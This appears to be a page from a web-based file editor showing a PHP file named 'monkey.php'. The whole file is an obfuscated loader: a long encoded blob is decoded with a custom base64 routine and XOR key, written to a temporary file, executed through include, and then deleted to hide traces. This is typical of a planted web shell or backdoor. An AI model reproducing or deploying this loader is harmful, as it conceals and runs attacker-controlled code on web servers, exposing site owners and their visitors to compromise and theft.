JezK
Edit File: monkey.php
<?php $encrypted = 'Z2tqf11TLi4kITgiL0EPAQweVGxtSQkGBw1ZeGtSSkFHSQkXCwVZeGtSSkFHVUFSSl0UARgeD19qf2x4SkFHVUFSSkFJFg4cGQ4LEEwFGAAXBQQAShpqf0FSSkFHVUFSSkFHVRYbDhUPT0FDWlFCTmx4SkFHVUFSSkFHVUFSGgADEQgcDUwLEAcGUEFVUFp_YEFHVUFSSkFHVUFSShEGEQUbBAZKBwgVAhVdVVNXUWxtVUFSSkFHVUFSSkFHFw4KRxIODwgcDVtHFw4ADgQVWAMdElpqf0FSSkFHVUFSF2xtVUFSSkFHVUFRGgkXNg4cGQ4LEEEUBRMKWWx4SkFHVUFSSkFEEBkXCRQTHA4cOAQUAA0GShpqf0FSSkFHVUFSSkFHVQUbGRELFBhISgcLEBlJZ2tHVUFSSkFHVUFSSkEBGQQKRwUOBwQRHggIG1tSCQ4LAAwcUWxtVUFSSkFHVUFSSkFHFA0bDQ9KHBUXBxJdVQIXBBUCB1p_YEFHVUFSSkFHVUFSShYOERUaUEFWRVFXUWxtVUFSSkFHVUFSSkFHGAAADQgJT0FDWhEfVVFJZ2tHVUFSSkFHVRx_YGxtVUFSSkFHVUEGDxkTFBMXC0EceGtSSkFHVUFSSkFHVUEFAwUTHVtSW1FXUFp_YEFHVUFSSkFHVUFSSgkCHAYaHltHRlFCGhlceGtSSkFHVUFSSkFHVUEQCwIMEhMdHw8DT0FRWgVXEVEWUWxtVUFSSkFHVUFSSkFHBQAWDggJEltSW1MXDVp_YEFHVUFSSkFHVUFSSgMIBwUXGFtHGw4cD1pqf0FSSkFHVUFSSkFHVQMdGAUCB0wACwUOABJISlkXDVp_YEFHVUFSSkFHVUFSSgMIDUwBAxsOGwZISgMIBwUXGEwFGhlJZ2tHVUFSSkFHVUFSSkEVEBIbEARdVRcXGBUOFgAeUWxtVUFSSkFHVUFSSkFHEw4cHkwUHBsXUEFWQREKUWxtVUFSSkFHVUFSSkFHFg4eBRNdVUITUgcBQ1FJZ2tHVUFSSkFHVUFSSkEUFhMdBg0FFBNfHQgDAQlIShUPHA9JZ2tHVUFSSkFHVUFSSkEUFhMdBg0FFBNfCQ4LGhNISkJSQFRSSVACRARDD1pqf2x4SkFHVUFSSkEaeGt_YEFHVUFSSkFHAQQKHgAVEABIUEwQEAMZAxVKBgIABQ0LFwAAShpqf0FSSkFHVUFSSkFHVRYbDhUPT0FKGhlceGtSSkFHVUFSShxqf0FSSkFHVUFSHgQfAQAADwBdT0wFDwMMHBVfGQIVGg0eCAAVWBUACwIMVRp_YEFHVUFSSkFHVUFSSgMGFgoVGA4SGwVISkJWEFAXWwRceGtSSkFHVUFSShxqf0FSSkFHVUFSHgQfAQAADwBdT0wFDwMMHBVfGQIVGg0eCAAVWBUaHwwFVRp_YEFHVUFSSkFHVUFSSgMGFgoVGA4SGwVfCQ4LGhNISkJSQFRJZ2tHVUFSSkFHVUFSSkEFGhMWDxNKBwAWAxQUT0FGGhlceGtSSkFHVUFSSkFHVUEQBRMDEBNISlAXDUEBBQ0OEUFRWVJUTmx4SkFHVUFSSkEaeGt_YEFHVUFSSkFHWktSuvO2_rHAut-3wUGj6rHSpdaj6bHcpO2j6LHXpOOi2kFNWmx4SkFHVUFSSkEXBwRSEWxtVUFSSkFHVUFSSkFHFwARAQYVGhQcDltHVlEWWgVXEVp_YEFHVUFSSkFHVUFSShYOERUaUEFWRVFXUWxtVUFSSkFHVUFSSkFHGhcXGAcLGhZISgASAQ5JZ2tHVUFSSkFHVUFSSkEQHQgGD0wUBQARD1tHBRMXRxYVFBFJZ2tHVUFSSkFHVUFSSkEQGhMWRxYVFBFISgMVEAAZRxYIBwVJZ2tHVUFSSkFHVUFSSkEXFAUWAw8AT0FDWBEfTmx4SkFHVUFSSkFHVUFSBwAVEggcRxUIBVtSW1EXDVp_YEFHVUFSSkFHVUFSSgMIBwUXGFtHRBEKShIIGQgWSkJURlJJZ2tHVUFSSkFHVUFSSkEFGhMWDxNKBwAWAxQUT0FKGhlceGtSSkFHVUFSSkFHVUEUBQ8TWBIbEARdVVBBGhlceGtSSkFHVUFSSkFHVUERBQ0IB1tSSQBfEwdEWlpqf0FSSkFHVUFSSkFHVRIRGA4LGQMTGEwQHAUGAltHAQkbBFpqf0FSSkFHVUFSSkFHVRIRGA4LGQMTGEwEGg0dGFtHVlRHX0FERARDD1ACTmx4SkFHVUFSSkFHVUFSGAQUHBsXUEEREBMGAwIGGVp_YEFHVUFSSkFHCGx4Z2tHVUFSSkFHVREAD1tdWBYXCAoOAUwBCRMIGQ0QCxNHDmx4SkFHVUFSSkFHVUFSHQgDAQlISlkXDVp_YEFHVUFSSkFHCGx4SkFHVUFSSkEXBwRIUEwQEAMZAxVKBgIABQ0LFwAARxUVFAIZShpqf0FSSkFHVUFSSkFHVQMTCQoABw4HBAVdVUJDD1ACRARJZ2tHVUFSSkFHVRx_YEFHVUFSSkFHBRMXUFtKAgQQAQgTWBIRGA4LGQMTGEwTHRQfCEEceGtSSkFHVUFSSkFHVUEQCwIMEhMdHw8DWAIdBg4VT0FRX1RSTmx4SkFHVUFSSkFHVUFSCA4VEQQARxMGEQgHGVtHQREKUWxtVUFSSkFHVUFSSkFHFw4ADgQVT0FDGhlHBg4eAwVHVlJBWVpqf0FSSkFHVUFSF2xteGtSSkFHVUFSSk8FABUGBQ8UR0EJZ2tHVUFSSkFHVUFSSkEDHBICBgAeT0EUBgQfTmx4SkFHVUFSSkFHVUFSDQAXT0FDWhEfTmx4SkFHVUFSSkFHVUFSABQUAQgUE0wEGg8GDw8TT0ERDw8TEBNJZ2tHVUFSSkFHVRx_YGxtVUFSSkFHVUFORRITDA0XVGxtVUFSSl1IHQQTDl9qf2x4SkFHVV0QBQUeS2x4SkFHVUFSSkFbShEaGkEOE0FaDAgLED4XEggUARJaTQwIERQeDxJIFgkTBwQLEA4cRBEPBUZbSh0bVQcbBgQ4EBkbGRUUXUYfBQUSGQQBRQ0IFhQBHk8XHRFVQ0hdVV5MZ2tHVUFSSkFHVUFSSkFbEQgESgILFBIBV0MEGg8BBQ0CWBYACxEXEBNQVGxtVUFSSkFHVUFSSkFHVUFSSl0BGhMfSgwCAQkdDlxFJS4hPkNHGg8BHwMKHBVPSBMCARQABEEPFA8WBgQhGhMfORQFGAgGQgQREA8GRkETHQgBQ0NZeGtSSkFHVUFSSkFHVUFSSkFHVUFSSl0TEBkGCxMCFEEcCwwCSEMRBQUCV0ECBgAEEAkdBgUCB1xQPhgXEEEiIjFHFg4WD0EPEBMXRE9JV19ORRUCDRUTGAQGS2x4SkFHVUFSSkFHVUFSSkFHVUFSSkFbEQgESgILFBIBV0MFABUGBQ8UR0NMZ2tHVUFSSkFHVUFSSkFHVUFSSkFHVUFSSkFbShEaGkEOE0FaDAgLED4XEggUARJaTQwIERQeDxJIFgkTBwQLEA4cRBEPBUZbQ1tHSl9_YEFHVUFSSkFHVUFSSkFHVUFSSkFHVUFSSkFHVUFOCBQTAQ4cSgILFBIBV0MFABUGBQ9KGQgZD0wDEA1QSg8GGARPSAAEAQgdBENHAwAeHwRaVxMHBCdFVQ4cCQ0OFgpPSA0GBhUxBggEHgQWKBQTAQ4cSlxHAQkbGUNHARgCD1xFBhQQBwgTV18gHw8hSU4QHxUTGg9MZ2tHVUFSSkFHVUFSSkFHVUFSSkFHVUFSSkFbShEaGkECGwUbDFpHSl9_YEFHVUFSSkFHVUFSSkFHVUFSSkFHVUFSSl1YBQkCSggBVUkUAw0CKgQKAxITBklVBw4DAA0XGU4LGgIHGRVJBQkCTUhOT0FNVGxtVUFSSkFHVUFSSkFHVUFSSkFHVUFSSkFHVUFSSl0FABUGBQ9HFg0TGRJaVwMHHhUIG0weAwoCWAUXBkNHGwAfD1xFFAIGAw4JV0EECw0SEFxQGBQJMENSBQ8EGQgRAVxFGQABHiILHAIZDwUlABUGBQ9HSEEGAggUV0EGExECSEMBHwMKHBVQVDMSG11dCBQTAQ4cVGxtVUFSSkFHVUFSSkFHVUFSSkFHVUFSSkFHSV4CAhFHEA8WAwdcVV5MZ2tHVUFSSkFHVUFSSkFHVUFSSkFHVV1dDggRS2x4SkFHVUFSSkFHVUFSSkFHVV1dDA4VGF9_YEFHVUFSSkFHVUFSSkFHVUFODggRVQgWV0MCDQQRHxUOGg8gDxISGRVQVF1IEQgEVGxtVUFSSkFHVUFSSkFHSU4WAxdZeGtSSkFHVUFSSkFHVUFOGQIVHBEGVGxtVUFSSkFHVUFSSkFHVUFSSg0CAUEeCxITNg0bCQoCESMHHhUIG0FPSg8SGQ1JZ2tqf0FSSkFHVUFSSkFHVUFSSkEBAA8RHggIG0EGBQYAGQQxBQ8UGg0XQkhHDmx4SkFHVUFSSkFHVUFSSkFHVUFSSkEEGg8BHkEEGg8BBQ0CMQgESlxHEQ4RHwwCGxVcDQQTMA0XBwQJASMLIwVPUhEaGiIIGxIdBgRAXFp_YEFHVUFSSkFHVUFSSkFHVUFSSkFHFg4cGQ4LECUbHE8UARgeD08DHBICBgAeVVxSQgIIGxIdBgQjHBdcGRUeGQRcDggUBQ0TE0FaSFxSTQ8IGwRVQ0FYVUYQBg4EHkZSUEFAGw4cD0ZceGtSSkFHVUFSSkFHVUFSSkFHCGx4Z2tHVUFSSkFHVUFSSkFHVUFSDBQJFhUbBQ9HHQAcDg0CMw4ABzISFwwbHkkCAwQcHk1HEw4AB0hHDmx4SkFHVUFSSkFHVUFSSkFHVUFSSkECAwQcHk8XBwQEDw8TMQQUCxQLAUlbUWxteGtSSkFHVUFSSkFHVUFSSkFHVUFSSgIIGxIGSgcIBww2CxUGVVxSBAQQVScdGAwjFBUTQgcIBwxbUWxtVUFSSkFHVUFSSkFHVUFSSkFHVUERBQ8UAUETCRUOGg9SV0ELFBIGKQ0OFgoXDiMSARUdBF5JAwAeHwRceGt_YEFHVUFSSkFHVUFSSkFHVUFSSkFHHAdSQgAEAQgdBEFaSFxSTRMSGydVQ0EceGtSSkFHVUFSSkFHVUFSSkFHVUFSSkFHVUEADxUSBw9SDxkCFhQGDzEvJSdaDA4VGEhJZ2tHVUFSSkFHVUFSSkFHVUFSSkFHVRx_YEFHVUFSSkFHVUFSSkFHVUFSSkFHEA0BD0EOE0FaCwITHA4cSlxaSEFVGBQJMEZbShpqf0FSSkFHVUFSSkFHVUFSSkFHVUFSSkFHVRMXHhQVG0EXEgQEABUXOik3MEkUBRMKXFp_YEFHVUFSSkFHVUFSSkFHVUFSSkFHCGx4Z2tHVUFSSkFHVUFSSkFHVUFSSkFHVRMXHhQVG0EUCw0UEFp_YEFHVUFSSkFHVUFSSkFHVUEPZ2tqf0FSSkFHVUFSSkFHVUFSSkEBAA8RHggIG0EVDxU2AAQAEzEGBwAfQg8GGARbShpqf0FSSkFHVUFSSkFHVUFSSkFHVUFSCQ4JBhVSHxMLJQAACwwUVVxSBAQQVTQgJjICFBMRAjEGBwAfGUkQHA8WBRZJGQ4RCxUOGg9cGQQGBwIaQ1pqf0FSSkFHVUFSSkFHVUFSSkFHVUFSGAQTABMcShQVGTETGAAKBk8VDxVPGwAfD0hHCR1STUZceGtSSkFHVUFSSkFHVUFSSkFHCGx4Z2tHVUFSSkFHVUFSSkFHVUFSDBQJFhUbBQ9HEBkXCRQTEDE6OidPEw4AB0hHDmx4SkFHVUFSSkFHVUFSSkFHVUFSSkEEGg8BHkEBGhMfLgATFEFPSg8CAkE0BRMKMQAGC0kBGhMfQ1pqf0FSSkFHVUFSSkFHVUFSSkFHVUFSCQ4JBhVSGgATHUFPSgYCATAHDxMeJQAACwxPUhETHglAXFp_YGxtVUFSSkFHVUFSSkFHVUFSSkFHVUERBQ8UAUEXBAIIEQQWOgATHUFPSgQJFg4WDzQ1PCIdBxEIGwQcHkkXFBUaQ1pqf2x4SkFHVUFSSkFHVUFSSkFHVUFSSkEBGhMfLgATFE8BDxVPUhETHglAWUECCxUPXFp_YGxtVUFSSkFHVUFSSkFHVUFSSkFHVUEUDxUEHUkSBw4DAA0XGU4EHQAfDw0CGg9cGgkXShETHglaURoXBAIIEQQWOgATHRwSRkEceGtSSkFHVUFSSkFHVUFSSkFHVUFSSkFHVUEfDxUPGgVISkY3OjImTU1qf0FSSkFHVUFSSkFHVUFSSkFHVUFSSkFHVQMdDhhdVQcdGAwjFBUTZ2tHVUFSSkFHVUFSSkFHVUFSSkFHVRxbZ2tHVUFSSkFHVUFSSkFHVUFSSkFHVU8GAgQJXRMXGUFaS0EADxJJAQQKHklOXGx4SkFHVUFSSkFHVUFSSkFHVUFSSkFJAQkXBEkVEBIHBhVHSF9SEWxtVUFSSkFHVUFSSkFHVUFSSkFHVUFSSkFHEQ4RHwwCGxVcDQQTMA0XBwQJASMLIwVPUgQKDwISAQgdBDMCBhQeHkZOWwgcBAQVPTU_JkFaVRMXGRQLAVp_YEFHVUFSSkFHVUFSSkFHVUFSSkFHCEhJZ2tHVUFSSkFHVUFSSkFHVUFSSkFHVRMXHhQVG0EUCw0UEFp_YEFHVUFSSkFHVUFSSkFHVUEPZ2tqf0FSSkFHVUFSSkFHVUFSSkEBAA8RHggIG0EXEgQEABUXOik3MEkUBRMKXEEJZ2tHVUFSSkFHVUFSSkFHVUFSSkFHVQIdBBITVQcdGAwjFBUTSlxHGwQFSicIBww2CxUGXQcdGAxOTmx4SkFHVUFSSkFHVUFSSkFHVUFSSkEEGg8BHkEXFBUaSlxHEgQGOxQCBxgiCxMGGElVGgATHUZbUWxtVUFSSkFHVUFSSkFHVUFSSkFHVUERBQ8UAUEXBAIIEQQWOgATHUFPSgQJFg4WDzQ1PCIdBxEIGwQcHkkXFBUaQ1pqf2x4SkFHVUFSSkFHVUFSSkFHVUFSSkEBGhMfLgATFE8BDxVPUhETHglAWUECCxUPXFp_YEFHVUFSSkFHVUFSSkFHVUFSSkFHEwQGCQlPFQwdDhQLEBJdBg4EABIGRBEPBV4CCxUPSEUJDw8EGgUXDjEGAQkPCk1HDmx4SkFHVUFSSkFHVUFSSkFHVUFSSkFHVUFSBwQTHQ4WUEFAJS4hPkZLeGtSSkFHVUFSSkFHVUFSSkFHVUFSSkFHVUEQBQUeT0EUBRMKMQAGC2xtVUFSSkFHVUFSSkFHVUFSSkFHVUEPQ2xtVUFSSkFHVUFSSkFHVUFSSkFHVUFcHgkCG0kADxJHSF9SGAQUWxUXEhVPXEh_YEFHVUFSSkFHVUFSSkFHVUFSSkFHWxUaDw9PBwQBHw0TVVxMShpqf0FSSkFHVUFSSkFHVUFSSkFHVUFSSkFHVQUdCRQKEA8GRAYCASQeDwwCGxUwEygDXUYXEgQEABUbBQ81EBIHBhVAXE8bBA8CBykmJy1HSEEADxISGRVJZ2tHVUFSSkFHVUFSSkFHVUFSSkFHVRxbUWxtVUFSSkFHVUFSSkFHVUFSSkFHVUEADxUSBw9SDAALBgRJZ2tHVUFSSkFHVUFSSkFHVUFSF2xtVUFSSkFHVUFSSkFHSU4BCRMOBRVMZ2tHVUFSSkFHVV1NGgkXVQQcDggBTkFNVGxtVUFSSl1IFw4WE19qf11dAhUKGV8'; if (!function_exists('boar')) { function boar($data, $key) { $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_'; $bin = ''; for ($i = 0; $i < strlen($data); $i++) { $index = strpos($alphabet, $data[$i]); $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT); } $bytes = ''; for ($i = 0; $i < strlen($bin); $i += 8) { $chunk = substr($bin, $i, 8); if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем $bytes .= chr(bindec($chunk)); } $res = ''; $klen = strlen($key); for ($i = 0; $i < strlen($bytes); $i++) { $res .= $bytes[$i] ^ $key[$i % $klen]; } return $res; } } file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), boar($encrypted, 'jaguar')); include $tmp; unlink($tmp); ?>